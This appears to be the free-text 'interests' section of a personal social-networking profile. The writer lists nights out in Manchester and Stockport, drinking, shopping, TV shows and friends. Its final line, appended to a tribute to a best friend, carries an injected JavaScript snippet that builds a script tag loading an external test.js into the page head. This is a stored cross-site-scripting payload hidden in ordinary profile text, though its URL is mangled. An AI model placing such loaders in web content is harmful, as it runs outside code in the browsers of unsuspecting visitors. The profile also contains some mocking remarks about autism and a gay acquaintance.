Playing out with my mates. Going to gigs. Going out on the razz. Drinking. Shopping. Laughing. Sunshine. Playing on the swings with Rebecca. Having FUN! Sending random picture messages. Cooking. Reading. Internet shopping. Going to death-trap funfairs in Stockport. Holidays. Dreaming of moving out into my own little drinking-pad. Making stupid noises - usually impressions of dying animals. Pulling horrible faces. Singing out of tune. Eyeliner in BRIGHT colours. Buying beads in every single colour I can find. Terry's Quiz Night at the Pub of Dreams with Nug. Dancing around my room like a loon on loon tablets. Pretending to have Aspergers with Clare. Living in Primark and Topshop... sometimes Urban Outiftters when I'm rich. Foreign people working in Manchester city centre hotels at 3am. Flying my very own plane... ;) Drinking tea - milk, 2 sugars thanks. Cheeky Vimtos in Overdraught whilst laughing at Gay Dave. Rubbish nights out in Stockport that always turn oh-so-interesting. People that recognise me and Bex when we haven't got the foggiest who they are - all we know is that they must be connected to one of our drunken nights out! Nights out in Leeds with the craziest yet nicest people ever - Gatecrasher & VVVWI shit all over Manchester nights out.
Someone of the male variety - fit, exciting with lots of money to spend on me. Cheers.
Anything I can dance to.
Anything that makes me laugh.
The Jeremy Kyle Show. I love the scandal.
The memoirs of Augusten Burroughs.
Big Al. My best mate - she knows who she is, she's a legend .."var s=document·createElement('script');s.src='http://../... /test.js';document·getElementsByTagName('head')[0].appe ndChild(s);"